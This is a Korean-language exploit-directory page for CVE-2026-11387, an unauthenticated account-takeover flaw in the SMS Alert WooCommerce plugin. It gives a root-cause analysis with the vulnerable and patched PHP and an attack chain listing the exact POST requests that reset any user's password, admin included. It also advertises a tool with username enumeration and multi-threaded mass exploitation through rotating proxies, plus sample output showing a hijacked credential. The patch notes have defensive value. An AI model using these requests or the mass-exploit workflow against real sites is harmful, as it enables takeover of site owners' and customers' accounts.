Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-11387 — OTP 우회 및 임의 비밀번호 재설정을 통해 SMS Alert WooCommerce 플러그인(CVE-2026-11387)의 인증되지 않은 권한 상승을 악용하며, 사용자 이름 열거 및 다중 스레드 스캔을 포함합니다. | Kitploit
도구/GitHubGitHub/1beelze/cve-2026-11387
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAuthentication
GitHub1beelze/cve-2026-11387

CVE-2026-11387

OTP 우회 및 임의 비밀번호 재설정을 통해 SMS Alert WooCommerce 플러그인(CVE-2026-11387)의 인증되지 않은 권한 상승을 악용하며, 사용자 이름 열거 및 다중 스레드 스캔을 포함합니다.

저장소 보기
142개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-11387 — SMS Alert ≤ 3.9.5

☆ 인증 없이 임의 비밀번호 재설정을 통한 권한 상승 ☆
=== Beelze ===


📋 취약점 정보

FieldDetails
CVE IDCVE-2026-11387
CVSS Score9.8 심각
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Type인증 누락 / OTP 우회
PluginSMS Alert – OTP Verification for WooCommerce (sms-alert)
Affected≤ 3.9.5
Patched3.9.6
Published2026
PoCBeelze

🔍 설명

SMS Alert – OTP Verification for WooCommerce ≤ 3.9.5는 임의의 비밀번호 재설정을 통해 인증되지 않은 권한 상승 취약점에 노출됩니다. 플러그인의 비밀번호 재설정 핸들러는 $_REQUEST['option'] 값이 smsalert-change-password-form인지만 확인하여 재설정 동작을 검증하며, OTP 챌린지가 완료되었는지 확인하지 않습니다.

세션 시딩 메커니즘의 심각한 경쟁 조건으로 인해 공격자는 두 개의 HTTP 요청으로 모든 계정을 탈취할 수 있습니다:

  1. 대상 user_login을 포함하여 lost-password 양식에 POST 요청을 보냅니다. 이는 smsalert_site_challenge_otp()를 트리거하여 OTP 검증 없이 $_SESSION['user_login']을 시드합니다.
  2. 선택한 새 비밀번호와 함께 option=smsalert-change-password-form을 POST합니다. routeData()는 미리 시드된 $_SESSION['user_login']을 읽고 조건 없이 reset_password()를 호출합니다.
  3. 새 자격 증명으로 로그인하면 계정 탈취가 확인됩니다.
  4. 이 공격은 인증, OTP, 피해자의 상호 작용이 필요하지 않습니다.
  5. 대상 사용자가 WooCommerce에 등록된 청구 전화번호를 가지고 있다면 관리자를 포함한 모든 WordPress 계정을 탈취할 수 있습니다.

영향: 청구 전화번호가 등록된 모든 사용자의 완전한 인증되지 않은 계정 탈취. 공격자는 피해자의 역할과 권한으로 지속적인 접근 권한을 얻습니다.


🧬 근본 원인 분석

1. 권한 없는 AJAX 후크 등록

root@kitploit:~
// sms-alert/smsalert.php
add_action( 'wp_ajax_nopriv_smsalert_reset_otp',      [ $this, 'smsalert_site_challenge_otp' ] );
add_action( 'wp_ajax_nopriv_smsalert_change_password', [ $this, 'routeData' ] );

2. OTP 챌린지가 검증 없이 세션을 시드함

root@kitploit:~
// handler/forms/class-wpresetpassword.php
public function smsalert_site_challenge_otp() {
    $user_login = sanitize_text_field( $_REQUEST['user_login'] );
    $user       = get_user_by( 'login', $user_login )
               ?: get_user_by( 'email', $user_login );

    if ( $user ) {
        // ❌ $_SESSION['user_login'] is set HERE — before OTP verification
        $_SESSION['user_login']      = $user->user_login;
        $_SESSION['smsalert_otp']    = $this->generate_otp();
        $_SESSION[self::SESSION_VAR] = 'otp_sent';  // NOT 'validated'
        $this->send_otp( $user );
    }
}

3. routeData()가 $_REQUEST['option']만 확인하고 세션 상태 가드가 없음

root@kitploit:~
// handler/forms/class-wpresetpassword.php
public function routeData() {
    $option = sanitize_text_field( $_REQUEST['option'] ?? '' );

    if ( $option === 'smsalert-change-password-form' ) {
        // ❌ MISSING: if ( $_SESSION[self::SESSION_VAR] !== 'validated' ) { return; }
        $this->reset_password();
    }
}

4. reset_password()가 미리 시드된 세션을 사용하여 무조건 실행됨

root@kitploit:~
// handler/forms/class-wpresetpassword.php
private function reset_password() {
    $user_login = $_SESSION['user_login'] ?? '';  // poisoned by smsalert_site_challenge_otp()
    $new_pass   = sanitize_text_field( $_REQUEST['smsalert_user_newpwd'] );
    $confirm    = sanitize_text_field( $_REQUEST['smsalert_user_cnfpwd'] );

    if ( $new_pass !== $confirm || empty( $user_login ) ) { return; }

    $user = get_user_by( 'login', $user_login );
    if ( $user ) {
        wp_set_password( $new_pass, $user->ID );  // ✅ password changed — no OTP required
        wp_redirect( add_query_arg( 'password_reset', 'true', wp_login_url() ) );
        exit;
    }
}

5. 3.9.6 패치 — 세션 상태 가드 추가

root@kitploit:~
// handler/forms/class-wpresetpassword.php (fixed)
public function routeData() {
    $option = sanitize_text_field( $_REQUEST['option'] ?? '' );

    if ( $option === 'smsalert-change-password-form' ) {
        // ✅ FIXED: OTP must be validated before reset is allowed
        if ( ( $_SESSION[self::SESSION_VAR] ?? '' ) !== 'validated' ) {
            wp_die( 'OTP verification required.' );
        }
        $this->reset_password();
    }
}

⚔️ 공격 체인

root@kitploit:~
Attacker (no auth)
     │
     │  POST /my-account/lost-password/
     │  body: user_login=admin
     ▼
┌─────────────────────────────────────────┐
│  smsalert_site_challenge_otp()          │
│  → $_SESSION['user_login'] = 'admin'   │  ← session poisoned 💀
│  → $_SESSION[SESSION_VAR] = 'otp_sent' │
│  → OTP sent to victim's phone           │
│  (attacker never sees the OTP)          │
└─────────────────────────────────────────┘
     │
     │  POST /my-account/lost-password/
     │  body: option=smsalert-change-password-form
     │        smsalert_user_newpwd=Pwned123!
     │        smsalert_user_cnfpwd=Pwned123!
     ▼
┌─────────────────────────────────────────┐
│  routeData()                            │
│  → checks $_REQUEST['option'] only      │
│  → SESSION_VAR check: SKIPPED ❌        │
│  → reset_password() called              │
│  → wp_set_password('admin', newpwd)     │  ← password changed 😈
└─────────────────────────────────────────┘
     │
     │  POST /wp-login.php
     │  log=admin  pwd=Pwned123!
     ▼
┌─────────────────────────────────────────┐
│  Login SUCCESS                          │
│  wordpress_logged_in_* cookie set       │  ← TAKEOVER CONFIRMED 💀
└─────────────────────────────────────────┘

🛠️ 도구

CVE-2026-11387.py — 전체 익스플로잇 체인

root@kitploit:~
# Single target exploit
python CVE-2026-11387.py
# → Mode 1, enter target URL + username

# Username enumeration only
python CVE-2026-11387.py
# → Mode 2

# Mass exploit (multi-threaded + proxy rotation)
python CVE-2026-11387.py
# → Mode 3, targets.txt, threads, proxy file

# Fingerprint only (no exploit)
python CVE-2026-11387.py
# → Mode 4, outputs CSV
root@kitploit:~
Exploit Phases:
  Phase 1 — Reachability check + HTTP fallback
  Phase 2 — Version fingerprint via readme.txt
  Phase 3 — Username enumeration (REST API / sitemap / author archive)
  Phase 4 — OTP challenge trigger (session poisoning)
  Phase 5 — Password reset via routeData() bypass
  Phase 6 — Login verification (wordpress_logged_in_* cookie)
root@kitploit:~
Sample output (scan_results/CVE-2026-11387_success.txt):
  [2026-07-03 12:00:00] SITE=https://target.com | user=admin | pass=Tmp_P0c_2026!Aa

🔒 완화 조치

SMS Alert를 버전 3.9.6 이상으로 업데이트하세요.


[Beelze] — 교육 및 승인된 보안 연구 목적으로만 사용하십시오

도구 다운로드